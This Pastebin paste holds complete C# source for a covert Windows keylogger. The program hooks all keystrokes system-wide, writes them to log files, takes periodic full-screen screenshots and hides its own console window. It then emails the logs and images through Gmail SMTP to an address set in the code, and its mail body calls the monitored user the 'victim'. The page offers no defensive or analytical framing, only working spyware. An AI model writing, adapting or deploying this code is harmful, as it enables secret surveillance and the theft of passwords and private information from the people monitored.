Advertisement
Guest User

Untitled

a guest
Oct 12th, 2017
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.94 KB | None | 0 0
  1. using Microsoft.Win32;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Drawing;
  6. using System.Drawing.Imaging;
  7. using System.IO;
  8. using System.Linq;
  9. using System.Net.Mail;
  10. using System.Runtime.InteropServices;
  11. using System.Text;
  12. using System.Threading;
  13. using System.Threading.Tasks;
  14. using System.Windows.Forms;
  15.  
  16. namespace KeyLogger
  17. {
  18. class Program
  19. {
  20. #region hook key board
  21. private const int WH_KEYBOARD_LL = 13;
  22. private const int WM_KEYDOWN = 0x0100;
  23.  
  24. private static LowLevelKeyboardProc _proc = HookCallback;
  25. private static IntPtr _hookID = IntPtr.Zero;
  26.  
  27. private static string logName = "Log_";
  28. private static string logExtendtion = ".txt";
  29.  
  30. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  31. private static extern IntPtr SetWindowsHookEx(int idHook,
  32. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  33.  
  34. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  35. [return: MarshalAs(UnmanagedType.Bool)]
  36. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  37.  
  38. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  39. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  40. IntPtr wParam, IntPtr lParam);
  41.  
  42. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  43. private static extern IntPtr GetModuleHandle(string lpModuleName);
  44.  
  45. /// <summary>
  46. /// Delegate a LowLevelKeyboardProc to use user32.dll
  47. /// </summary>
  48. /// <param name="nCode"></param>
  49. /// <param name="wParam"></param>
  50. /// <param name="lParam"></param>
  51. /// <returns></returns>
  52. private delegate IntPtr LowLevelKeyboardProc(
  53. int nCode, IntPtr wParam, IntPtr lParam);
  54.  
  55. /// <summary>
  56. /// Set hook into all current process
  57. /// </summary>
  58. /// <param name="proc"></param>
  59. /// <returns></returns>
  60. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  61. {
  62. using (Process curProcess = Process.GetCurrentProcess())
  63. {
  64. using (ProcessModule curModule = curProcess.MainModule)
  65. {
  66. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  67. GetModuleHandle(curModule.ModuleName), 0);
  68. }
  69. }
  70. }
  71.  
  72. /// <summary>
  73. /// Every time the OS call back pressed key. Catch them
  74. /// then cal the CallNextHookEx to wait for the next key
  75. /// </summary>
  76. /// <param name="nCode"></param>
  77. /// <param name="wParam"></param>
  78. /// <param name="lParam"></param>
  79. /// <returns></returns>
  80. private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  81. {
  82. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  83. {
  84. int vkCode = Marshal.ReadInt32(lParam);
  85.  
  86. CheckHotKey(vkCode);
  87. WriteLog(vkCode);
  88. }
  89. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  90. }
  91.  
  92. /// <summary>
  93. /// Write pressed key into log.txt file
  94. /// </summary>
  95. /// <param name="vkCode"></param>
  96. static void WriteLog(int vkCode)
  97. {
  98. Console.WriteLine((Keys)vkCode);
  99. string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
  100. StreamWriter sw = new StreamWriter(logNameToWrite, true);
  101. sw.Write((Keys)vkCode);
  102. sw.Close();
  103. }
  104.  
  105. /// <summary>
  106. /// Start hook key board and hide the key logger
  107. /// Key logger only show again if pressed right Hot key
  108. /// </summary>
  109. static void HookKeyboard()
  110. {
  111. _hookID = SetHook(_proc);
  112. Application.Run();
  113. UnhookWindowsHookEx(_hookID);
  114. }
  115.  
  116. static bool isHotKey = false;
  117. static bool isShowing = false;
  118. static Keys previoursKey = Keys.Separator;
  119.  
  120. static void CheckHotKey(int vkCode)
  121. {
  122. if ((previoursKey == Keys.LControlKey || previoursKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
  123. isHotKey = true;
  124.  
  125. if (isHotKey)
  126. {
  127. if (!isShowing)
  128. {
  129. DisplayWindow();
  130. }
  131. else
  132. HideWindow();
  133.  
  134. isShowing = !isShowing;
  135. }
  136.  
  137. previoursKey = (Keys)vkCode;
  138. isHotKey = false;
  139. }
  140. #endregion
  141.  
  142. #region Capture
  143. static string imagePath = "Image_";
  144. static string imageExtendtion = ".png";
  145.  
  146. static int imageCount = 0;
  147. static int captureTime = 100;
  148.  
  149. /// <summary>
  150. /// Capture al screen then save into ImagePath
  151. /// </summary>
  152. static void CaptureScreen()
  153. {
  154. //Create a new bitmap.
  155. var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
  156. Screen.PrimaryScreen.Bounds.Height,
  157. PixelFormat.Format32bppArgb);
  158.  
  159. // Create a graphics object from the bitmap.
  160. var gfxScreenshot = Graphics.FromImage(bmpScreenshot);
  161.  
  162. // Take the screenshot from the upper left corner to the right bottom corner.
  163. gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
  164. Screen.PrimaryScreen.Bounds.Y,
  165. 0,
  166. 0,
  167. Screen.PrimaryScreen.Bounds.Size,
  168. CopyPixelOperation.SourceCopy);
  169.  
  170. string directoryImage = imagePath + DateTime.Now.ToLongDateString();
  171.  
  172. if (!Directory.Exists(directoryImage))
  173. {
  174. Directory.CreateDirectory(directoryImage);
  175. }
  176. // Save the screenshot to the specified path that the user has chosen.
  177. string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion);
  178.  
  179. try
  180. {
  181. bmpScreenshot.Save(imageName, ImageFormat.Png);
  182. }
  183. catch
  184. {
  185.  
  186. }
  187. imageCount++;
  188. }
  189.  
  190. #endregion
  191.  
  192. #region Timer
  193. static int interval = 1;
  194. static void StartTimmer()
  195. {
  196. Thread thread = new Thread(() => {
  197. while (true)
  198. {
  199. Thread.Sleep(1);
  200.  
  201. if (interval % captureTime == 0)
  202. CaptureScreen();
  203.  
  204. if (interval % mailTime == 0)
  205. SendMail();
  206.  
  207. interval++;
  208.  
  209. if (interval >= 1000000)
  210. interval = 0;
  211. }
  212. });
  213. thread.IsBackground = true;
  214. thread.Start();
  215. }
  216. #endregion
  217.  
  218. #region Windows
  219. [DllImport("kernel32.dll")]
  220. static extern IntPtr GetConsoleWindow();
  221.  
  222. [DllImport("user32.dll")]
  223. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  224.  
  225. // hide window code
  226. const int SW_HIDE = 0;
  227.  
  228. // show window code
  229. const int SW_SHOW = 5;
  230.  
  231. static void HideWindow()
  232. {
  233. IntPtr console = GetConsoleWindow();
  234. ShowWindow(console, SW_HIDE);
  235. }
  236.  
  237. static void DisplayWindow()
  238. {
  239. IntPtr console = GetConsoleWindow();
  240. ShowWindow(console, SW_SHOW);
  241. }
  242. #endregion
  243.  
  244. #region Mail
  245. static int mailTime = 5000;
  246. static void SendMail()
  247. {
  248. try
  249. {
  250. MailMessage mail = new MailMessage();
  251. SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
  252.  
  253. mail.From = new MailAddress("email@gmail.com");
  254. mail.To.Add("email@gmail.com");
  255. mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString();
  256. mail.Body = "Info from victim\n";
  257.  
  258. string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion;
  259.  
  260. if (File.Exists(logFile))
  261. {
  262. StreamReader sr = new StreamReader(logFile);
  263.  
  264. mail.Body += sr.ReadToEnd();
  265.  
  266. sr.Close();
  267. }
  268.  
  269. string directoryImage = imagePath + DateTime.Now.ToLongDateString();
  270. DirectoryInfo image = new DirectoryInfo(directoryImage);
  271.  
  272. foreach (FileInfo item in image.GetFiles("*.png"))
  273. {
  274. if (File.Exists(directoryImage + "\\" + item.Name))
  275. mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name));
  276. }
  277.  
  278. SmtpServer.Port = 587;
  279. SmtpServer.Credentials = new System.Net.NetworkCredential("email@gmail.com", "password");
  280. SmtpServer.EnableSsl = true;
  281.  
  282. SmtpServer.Send(mail);
  283. Console.WriteLine("Send mail!");
  284.  
  285. // phải làm cái này ở mail dùng để gửi phải bật lên
  286. // https://www.google.com/settings/u/1/security/lesssecureapps
  287. }
  288. catch (Exception ex)
  289. {
  290. Console.WriteLine(ex.ToString());
  291. }
  292. }
  293. #endregion
  294. static void Main(string[] args)
  295. {
  296. HideWindow();
  297.  
  298. StartTimmer();
  299. HookKeyboard();
  300. }
  301. }
  302. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement